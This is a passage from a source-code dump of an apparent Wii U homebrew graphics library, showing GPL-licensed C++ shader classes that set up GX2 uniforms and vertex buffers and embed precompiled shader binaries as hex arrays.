blurLocation = 0;\n    colorIntensityLocation = 4;\n    fadeOutLocation = 8;\n    fractalLocation = 12;\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_blur_border\", GX2_VAR_TYPE_FLOAT, 1, blurLocation, 0xffffffff });\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_color_intensity\", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff });\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_fade_out_alpha\", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff });\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_fract_alpha\", GX2_VAR_TYPE_INT, 1, fractalLocation, 0xffffffff });\n\n    //! create vertex shader\n    vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs));\n\n    modelMatrixLocation = 0;\n    projectionMatrixLocation = 16;\n    viewMatrixLocation = 32;\n    vertexShader.addUniformVar((GX2UniformVar){ \"modelMatrix\", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff });\n    vertexShader.addUniformVar((GX2UniformVar){ \"projectionMatrix\", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff });\n    vertexShader.addUniformVar((GX2UniformVar){ \"viewMatrix\", GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff });\n\n    positionLocation = 0;\n    colorLocation = 1;\n    texCoordLocation = 2;\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_colors\", GX2_VAR_TYPE_VEC4, 0, colorLocation });\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_position\", GX2_VAR_TYPE_VEC3, 0, positionLocation });\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_texture_coord\", GX2_VAR_TYPE_VEC2, 0, texCoordLocation });\n\n    //! setup attribute streams\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT);\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT);\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(2), colorLocation, 2, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM);\n\n    //! create fetch shader\n    fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount());\n\n    //! initialize default quad texture vertexes as those are very commonly used\n    //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000\n    posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize);\n    texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize);\n    colorVtxs = (u8*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciColorVtxsSize);\n\n    //! position vertex structure and texture coordinate vertex structure\n    int i = 0;\n    posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] =  1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] =  1.0f; posVtxs[i++] =  1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] = -1.0f; posVtxs[i++] =  1.0f; posVtxs[i++] = 0.0f;\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize);\n\n    i = 0;\n    texCoords[i++] = 0.0f; texCoords[i++] = 1.0f;\n    texCoords[i++] = 1.0f; texCoords[i++] = 1.0f;\n    texCoords[i++] = 1.0f; texCoords[i++] = 0.0f;\n    texCoords[i++] = 0.0f; texCoords[i++] = 0.0f;\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize);\n\n\n    for(i = 0; i < (int)ciColorVtxsSize; i++)\n        colorVtxs[i] = 0xff;\n\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVtxs, ciColorVtxsSize);\n}\n\nShaderFractalColor::~ShaderFractalColor()\n{\n    if(posVtxs)\n    {\n        free(posVtxs);\n        posVtxs = NULL;\n    }\n    if(texCoords)\n    {\n        free(texCoords);\n        texCoords = NULL;\n    }\n    if(colorVtxs)\n    {\n        free(colorVtxs);\n        colorVtxs = NULL;\n    }\n\n    delete fetchShader;\n    fetchShader = NULL;\n}\n"
  },
  {
    "path": "src/video/shaders/ShaderFractalColor.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef SHADER_FRACTAL_COLOR_H_\n#define SHADER_FRACTAL_COLOR_H_\n\n#include \"VertexShader.h\"\n#include \"PixelShader.h\"\n#include \"FetchShader.h\"\n\nclass ShaderFractalColor : public Shader\n{\nprivate:\n    ShaderFractalColor();\n    virtual ~ShaderFractalColor();\n\n    static ShaderFractalColor * shaderInstance;\n\n    static const unsigned char cuAttributeCount = 3;\n    static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize;\n    static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize;\n    static const u32 ciColorVtxsSize = 4 * cuColorAttrSize;\n\n    FetchShader *fetchShader;\n    VertexShader vertexShader;\n    PixelShader pixelShader;\n\n    f32 *posVtxs;\n    f32 *texCoords;\n    u8 *colorVtxs;\n\n    u32 modelMatrixLocation;\n    u32 viewMatrixLocation;\n    u32 projectionMatrixLocation;\n    u32 positionLocation;\n    u32 colorLocation;\n    u32 texCoordLocation;\n\n    u32 blurLocation;\n    u32 colorIntensityLocation;\n    u32 fadeOutLocation;\n    u32 fractalLocation;\npublic:\n    static ShaderFractalColor *instance() {\n        if(!shaderInstance) {\n            shaderInstance = new ShaderFractalColor();\n        }\n        return shaderInstance;\n    }\n    static void destroyInstance() {\n        if(shaderInstance) {\n            delete shaderInstance;\n            shaderInstance = NULL;\n        }\n    }\n\n    void setShaders(void) const\n    {\n        fetchShader->setShader();\n        vertexShader.setShader();\n        pixelShader.setShader();\n    }\n\n    void setAttributeBuffer(const u32 & vtxCount = 0, const f32 * posVtxs_in = NULL, const f32 * texCoords_in = NULL, const u8 * colorVtxs_in = NULL) const\n    {\n        if(posVtxs_in && texCoords_in && vtxCount)\n        {\n            VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in);\n            VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in);\n            VertexShader::setAttributeBuffer(2, vtxCount * cuColorAttrSize, cuColorAttrSize, colorVtxs_in);\n        }\n        else {\n            //! use default quad vertex and texture coordinates if nothing is passed\n            VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs);\n            VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords);\n            VertexShader::setAttributeBuffer(2, ciColorVtxsSize, cuColorAttrSize, colorVtxs);\n        }\n    }\n\n    void setProjectionMtx(const glm::mat4 & mtx)\n    {\n        VertexShader::setUniformReg(projectionMatrixLocation, 16, &mtx[0][0]);\n    }\n    void setViewMtx(const glm::mat4 & mtx)\n    {\n        VertexShader::setUniformReg(viewMatrixLocation, 16, &mtx[0][0]);\n    }\n    void setModelViewMtx(const glm::mat4 & mtx)\n    {\n        VertexShader::setUniformReg(modelMatrixLocation, 16, &mtx[0][0]);\n    }\n\n    void setBlurBorder(const float & blurBorderSize)\n    {\n        PixelShader::setUniformReg(blurLocation, 4, &blurBorderSize);\n    }\n    void setColorIntensity(const glm::vec4 & vec)\n    {\n        PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]);\n    }\n    void setAlphaFadeOut(const glm::vec4 & vec)\n    {\n        PixelShader::setUniformReg(fadeOutLocation, 4, &vec[0]);\n    }\n    void setFractalColor(const int & fractalColorEnable)\n    {\n        PixelShader::setUniformReg(fractalLocation, 4, &fractalColorEnable);\n    }\n};\n\n#endif // SHADER_FRACTAL_COLOR_H_\n"
  },
  {
    "path": "src/video/shaders/Texture2DShader.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include \"Texture2DShader.h\"\n\nstatic const u32 cpVertexShaderProgram[] =\n{\n    0x00000000,0x00008009,0x20000000,0x000080a0,\n    0x3c200100,0x88060094,0x00400000,0x88042014,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x02290001,0x80000000,0x02041f00,0x900c0020,\n    0x00a11f00,0xfc00624f,0xfd041f00,0x900c4060,\n    0x02001f80,0x900c0000,0x83f9223e,0x0000803f,\n    0xfe081f00,0x00080020,0xfe202081,0x10004040,\n    0xfea49f80,0xfd00620f,0xdb0f49c0,0xdb0fc940,\n    0xfea01f80,0x9000e06f,0x83f9223e,0x00000000,\n    0xfe0c1f80,0x00370000,0xffa01f00,0x80000040,\n    0xff101f00,0x800c0060,0x7f0c1f80,0x80370040,\n    0x0000103f,0x00000000,0xffa01f00,0x80000000,\n    0xff001f00,0x800c0020,0x02c51f01,0x80000040,\n    0xfeac9f80,0x80000060,0x0000103f,0x398ee33f,\n    0xfea01f00,0x80000000,0x02c19f01,0x9000e02f,\n    0x01c41f01,0x9000e04f,0x02c59f80,0x80000060,\n    0x398ee33f,0x00000000,0x01c49f01,0x80000020,\n    0x02c11f80,0x80000040,0x01e08f00,0xfe04624f,\n    0x01c01f81,0x7f08626f,0xfe2c2000,0x10004000,\n    0xfe28a080,0x10004020,0xeb825790,0xb6f711be,\n    0x7c0e2df2,0x81173cfa\n};\n\nstatic const u32 cpVertexShaderRegs[] = {\n    0x00000103,0x00000000,0x00000000,0x00000001,\n    0xffffff00,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0x00000000,0xfffffffc,\n    0x00000002,0x00000000,0x00000001,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x00000000,0x0000000e,0x00000010\n};\n\nstatic const u32 cPixelShaderProgram[] =\n{\n    0x20000000,0x00000ca4,0x0b000000,0x00000085,\n    0x24000000,0x000050a0,0xb0000000,0x000cc080,\n    0x39000000,0x00005ca0,0xb8000000,0x000cc080,\n    0x51000000,0x000078a0,0xc0000000,0x000cc080,\n    0x70000000,0x000064a0,0xc8000000,0x0008c080,\n    0x8a000000,0x00005ca0,0x0e000000,0x01008086,\n    0xce000000,0x0000c080,0xa2000000,0x00000ca8,\n    0x00800000,0x88062094,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00051f00,0x80060000,0x00011f80,0x80060040,\n    0xfec81f80,0xfb802320,0x01041f80,0x8c220000,\n    0x00a41f00,0xfc10620f,0x010d1f00,0x900c0021,\n    0x00091f00,0x80060040,0x00a01f80,0xfc10626f,\n    0x00000040,0x00000000,0xfe080000,0xfe8cc300,\n    0xfe088080,0xfe80c320,0x00a11f00,0xfe000200,\n    0x00a51f00,0xfe040220,0x00a19f00,0xfe000240,\n    0x00a59f00,0xfe040260,0x00a11f81,0xfe002600,\n    0x4260e5bc,0xa69bc4bc,0x0ad7a3bc,0x00000000,\n    0x00a11f00,0x06004200,0x00a59f00,0x06042220,\n    0x00a51f00,0x06044240,0x00a11f01,0x06008260,\n    0x00a51f81,0x06048620,0x6f1283bc,0x0ad7a3bc,\n    0xa69b44bc,0x00000000,0x00a41f00,0x80000000,\n    0x00a01f00,0x80000020,0x00ac1f00,0x80000040,\n    0x00a81f00,0x80000060,0x00a19f80,0x06000600,\n    0xcac3123c,0x6f1203bc,0x03a41f00,0xfe00620f,\n    0x03a01f00,0xfe04622f,0x03ac1f00,0xfe08624f,\n    0x03a81f00,0xfe0c626f,0x00a59f80,0x06040620,\n    0xcc28913b,0x6f1203bc,0x01a41f00,0xfe00620f,\n    0x01a01f00,0xfe04622f,0x01ac1f00,0xfe08624f,\n    0x01a81f00,0xfe0c626f,0x00a19f80,0x06002600,\n    0xe8eab03c,0x6f1283bb,0x02ac1f00,0xfe084200,\n    0x02a81f00,0xfe0c4220,0x02a41f00,0xfe004240,\n    0x02a01f00,0xfe044260,0x00a59f80,0x06042620,\n    0x92bb353d,0x6f1283bb,0x04a81f00,0x0204620f,\n    0x04ac1f00,0x0200662f,0x04a41f00,0x0208624f,\n    0x04a01f00,0x020c626f,0x00a19f80,0x06004600,\n    0xc4139f3d,0x6f12833b,0x00a41f00,0xfe08620f,\n    0x00a01f00,0xfe0c622f,0x00ac1f00,0xfe04624f,\n    0x00a81f00,0xfe00626f,0x00a59f80,0x06044620,\n    0xb950ed3d,0x6f12833b,0x01a41f00,0xfe00620f,\n    0x01a01f00,0xfe04622f,0x01ac1f00,0xfe08624f,\n    0x01a81f00,0xfe0c626f,0x00a19f80,0x06002600,\n    0xecd7163e,0x6f12033c,0x03a41f00,0xfe000200,\n    0x03a01f00,0xfe040220,0x03ac1f00,0xfe082240,\n    0x03a81f00,0xfe0c2260,0x00a59f80,0x06042620,\n    0x2168233e,0x6f12033c,0x00a11f00,0x06006200,\n    0x00a51f00,0x06046220,0x00a19f00,0x06006240,\n    0x00a59f00,0x06046260,0x00a11f81,0x0600e600,\n    0xa69b443c,0x6f12833c,0x0ad7a33c,0x00000000,\n    0x02ac1f00,0x0108620f,0x02a81f00,0x010c622f,\n    0x02a41f00,0x0000624f,0x02a01f00,0x0004666f,\n    0x00a59f80,0x0604e620,0xecd7163e,0x0ad7a33c,\n    0x04a81f00,0xfe04620f,0x04ac1f00,0xfe00622f,\n    0x04a41f00,0xfe08624f,0x04a01f00,0xfe0c626f,\n    0x00a19f80,0x06008600,0xb950ed3d,0xa69bc43c,\n    0x05a41f00,0xfe08620f,0x05a01f00,0xfe0c622f,\n    0x05ac1f00,0xfe04624f,0x05a81f00,0xfe00626f,\n    0x00a59f80,0x06048620,0xc4139f3d,0xa69bc43c,\n    0x03a41f00,0xfe00a200,0x03a01f00,0xfe04a220,\n    0x03ac1f00,0xfe086240,0x03a81f00,0xfe0c6260,\n    0x00a19f80,0x06006600,0x92bb353d,0x4260e53c,\n    0x00a51f80,0x06046220,0x4260e53c,0x00000000,\n    0x07ac1f00,0x0308620f,0x07a81f00,0x030c622f,\n    0x07a41f00,0x0500624f,0x07a01f80,0x0504626f,\n    0xe8eab03c,0x00000000,0x04a81f00,0xfe04620f,\n    0x04ac1f00,0xfe00622f,0x04a41f00,0xfe08624f,\n    0x04a01f80,0xfe0c626f,0xcac3123c,0x00000000,\n    0x06a41f00,0xfe08620f,0x06a01f00,0xfe0c622f,\n    0x06ac1f00,0xfe04624f,0x06a81f80,0xfe00626f,\n    0xcc28913b,0x00000000,0xfe20a000,0x9000e00f,\n    0xfe242000,0x9000e02f,0xfe28a001,0x9000e04f,\n    0xfe2c2081,0x9000e06f,0xfe28a081,0x80060020,\n    0xfee48f00,0x7f842300,0xfee40f00,0x7f802320,\n    0xfee48f01,0x7f8c2340,0xfee40f81,0x08842b60,\n    0x00202000,0x90002000,0x0024a000,0x90002020,\n    0x00282001,0x90002040,0x002ca081,0x90002060,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x10000000,0x03100df0,0x00008010,0xecdfea0d,\n    0x10000000,0x00100df0,0x0000a051,0xecdfea0d,\n    0x10000100,0x01100df0,0x00008010,0xecdfea0d,\n    0x10000200,0x02100df0,0x00000011,0xecdfea0d,\n    0x10000400,0x04100df0,0x0000b070,0xecdfea0d,\n    0x10000000,0x00100df0,0x00008010,0xecdfea0d,\n    0x10000100,0x01100df0,0x00008010,0xecdfea0d,\n    0x10000600,0x03100df0,0x00008010,0xecdfea0d,\n    0x10000200,0x02100df0,0x00008010,0xecdfea0d,\n    0x10000100,0x04100df0,0x00008010,0xecdfea0d,\n    0x10000300,0x05100df0,0x00008010,0xecdfea0d,\n    0x10000300,0x03100df0,0x0000a051,0xecdfea0d,\n    0x10000700,0x07100df0,0x00008010,0xecdfea0d,\n    0x10000400,0x04100df0,0x00008010,0xecdfea0d,\n    0x10000300,0x06100df0,0x00008010,0xecdfea0d,\n    0x10000000,0x00100df0,0x00008010,0xecdfea0d,\n    0xc8581837,0x22740275,0x281eddcc,0xfa8b9b65\n};\nstatic const u32 cPixelShaderRegs[] = {\n    0x00000109,0x00000002,0x14000001,0x00000000,\n    0x00000001,0x00000100,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x0000000f,0x00000001,0x00000010,\n    0x00000000\n};\n\nTexture2DShader * Texture2DShader::shaderInstance = NULL;\n\nTexture2DShader::Texture2DShader()\n    : vertexShader(cuAttributeCount)\n{\n    //! create pixel shader\n    pixelShader.setProgram(cPixelShaderProgram, sizeof(cPixelShaderProgram), cPixelShaderRegs, sizeof(cPixelShaderRegs));\n\n    blurLocation = 0;\n    colorIntensityLocation = 4;\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_blur_texture_direction\", GX2_VAR_TYPE_VEC3, 1, blurLocation, 0xffffffff });\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_color_intensity\", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff });\n\n    samplerLocation = 0;\n    pixelShader.addSamplerVar((GX2SamplerVar){ \"sampl_texture\", GX2_SAMPLER_TYPE_2D, samplerLocation });\n\n    //! create vertex shader\n    vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs));\n\n    angleLocation = 0;\n    offsetLocation = 4;\n    scaleLocation = 8;\n    vertexShader.addUniformVar((GX2UniformVar){ \"unf_angle\", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff });\n    vertexShader.addUniformVar((GX2UniformVar){ \"unf_offset\", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff });\n    vertexShader.addUniformVar((GX2UniformVar){ \"unf_scale\", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff });\n\n    positionLocation = 0;\n    texCoordLocation = 1;\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_position\", GX2_VAR_TYPE_VEC3, 0, positionLocation });\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_texture_coord\", GX2_VAR_TYPE_VEC2, 0, texCoordLocation });\n\n    //! setup attribute streams\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT);\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT);\n\n    //! create fetch shader\n    fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount());\n\n    //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000\n    posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize);\n    texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize);\n\n    //! defaults for normal square\n    //! position vertex structure and texture coordinate vertex structure\n    int i = 0;\n    posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] =  1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] =  1.0f; posVtxs[i++] =  1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] = -1.0f; posVtxs[i++] =  1.0f; posVtxs[i++] = 0.0f;\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize);\n\n    i = 0;\n    texCoords[i++] = 0.0f; texCoords[i++] = 1.0f;\n    texCoords[i++] = 1.0f; texCoords[i++] = 1.0f;\n    texCoords[i++] = 1.0f; texCoords[i++] = 0.0f;\n    texCoords[i++] = 0.0f; texCoords[i++] = 0.0f;\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize);\n}\n\nTexture2DShader::~Texture2DShader()\n{\n    if(posVtxs)\n    {\n        free(posVtxs);\n        posVtxs = NULL;\n    }\n    if(texCoords)\n    {\n        free(texCoords);\n        texCoords = NULL;\n    }\n\n    delete fetchShader;\n    fetchShader = NULL;\n}\n"
  },
  {
    "path": "src/video/shaders/Texture2DShader.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef __TEXTURE_2D_SHADER_H_\n#define __TEXTURE_2D_SHADER_H_\n\n#include \"VertexShader.h\"\n#include \"PixelShader.h\"\n#include \"FetchShader.h\"\n\nclass Texture2DShader : public Shader\n{\nprivate:\n    Texture2DShader();\n    virtual ~Texture2DShader();\n\n    static const u32 cuAttributeCount = 2;\n    static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize;\n    static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize;\n\n    static Texture2DShader *shaderInstance;\n\n    FetchShader *fetchShader;\n    VertexShader vertexShader;\n    PixelShader pixelShader;\n\n    f32 *posVtxs;\n    f32 *texCoords;\n\n    u32 angleLocation;\n    u32 offsetLocation;\n    u32 scaleLocation;\n    u32 colorIntensityLocation;\n    u32 blurLocation;\n    u32 samplerLocation;\n    u32 positionLocation;\n    u32 texCoordLocation;\npublic:\n    static Texture2DShader *instance() {\n        if(!shaderInstance) {\n            shaderInstance = new Texture2DShader();\n        }\n        return shaderInstance;\n    }\n    static void destroyInstance() {\n        if(shaderInstance) {\n            delete shaderInstance;\n            shaderInstance = NULL;\n        }\n    }\n\n    void setShaders(void) const\n    {\n        fetchShader->setShader();\n        vertexShader.setShader();\n        pixelShader.setShader();\n    }\n\n    void setAttributeBuffer(const f32 * texCoords_in = NULL, const f32 * posVtxs_in = NULL, const u32 & vtxCount = 0) const\n    {\n        if(posVtxs_in && texCoords_in && vtxCount)\n        {\n            VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in);\n            VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in);\n        }\n        else {\n            VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs);\n            VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords);\n        }\n    }\n\n    void setAngle(const float & val)\n    {\n        VertexShader::setUniformReg(angleLocation, 4, &val);\n    }\n    void setOffset(const glm::vec3 & vec)\n    {\n        VertexShader::setUniformReg(offsetLocation, 4, &vec[0]);\n    }\n    void setScale(const glm::vec3 & vec)\n    {\n        VertexShader::setUniformReg(scaleLocation, 4, &vec[0]);\n    }\n    void setColorIntensity(const glm::vec4 & vec)\n    {\n        PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]);\n    }\n    void setBlurring(const glm::vec3 & vec)\n    {\n        PixelShader::setUniformReg(blurLocation, 4, &vec[0]);\n    }\n\n    void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const {\n        GX2SetPixelTexture(texture, samplerLocation);\n        GX2SetPixelSampler(sampler, samplerLocation);\n    }\n};\n\n#endif // __TEXTURE_2D_SHADER_H_\n"
  },
  {
    "path": "src/video/shaders/VertexShader.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef VERTEX_SHADER_H\n#define VERTEX_SHADER_H\n\n#include <string.h>\n#include \"Shader.h\"\n\nclass VertexShader : public Shader\n{\npublic:\n    VertexShader(u32 numAttr)\n        : attributesCount( numAttr )\n        , attributes( new GX2AttribStream[attributesCount] )\n        , vertexShader( (GX2VertexShader*) memalign(0x40, sizeof(GX2VertexShader)) )\n    {\n        if(vertexShader)\n        {\n            memset(vertexShader, 0, sizeof(GX2VertexShader));\n            vertexShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER;\n        }\n    }\n\n    virtual ~VertexShader() {\n        delete [] attributes;\n\n        if(vertexShader)\n        {\n            if(vertexShader->shader_data)\n                free(vertexShader->shader_data);\n\n            for(u32 i = 0; i < vertexShader->uniform_blocks_count; i++)\n                free((void*)vertexShader->uniform_block[i].name);\n\n            if(vertexShader->uniform_block)\n                free((void*)vertexShader->uniform_block);\n\n            for(u32 i = 0; i < vertexShader->uniform_vars_count; i++)\n                free((void*)vertexShader->uniform_var[i].name);\n\n            if(vertexShader->uniform_var)\n                free((void*)vertexShader->uniform_var);\n\n            if(vertexShader->initial_value)\n                free((void*)vertexShader->initial_value);\n\n            for(u32 i = 0; i < vertexShader->sampler_vars_count; i++)\n                free((void*)vertexShader->sampler_var[i].name);\n\n            if(vertexShader->sampler_var)\n                free((void*)vertexShader->sampler_var);\n\n            for(u32 i = 0; i < vertexShader->attribute_vars_count; i++)\n                free((void*)vertexShader->attribute_var[i].name);\n\n            if(vertexShader->attribute_var)\n                free((void*)vertexShader->attribute_var);\n\n            if(vertexShader->loops_data)\n                free((void*)vertexShader->loops_data);\n\n            free(vertexShader);\n        }\n    }\n\n    void setProgram(const u32 * program, const u32 & programSize, const u32 * regs, const u32 & regsSize)\n    {\n        if(!vertexShader)\n            return;\n\n        //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100\n        vertexShader->shader_size = programSize;\n        vertexShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, vertexShader->shader_size);\n        if(vertexShader->shader_data)\n        {\n            memcpy(vertexShader->shader_data, program, vertexShader->shader_size);\n            GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, vertexShader->shader_data, vertexShader->shader_size);\n        }\n\n        memcpy(vertexShader->regs, regs, regsSize);\n    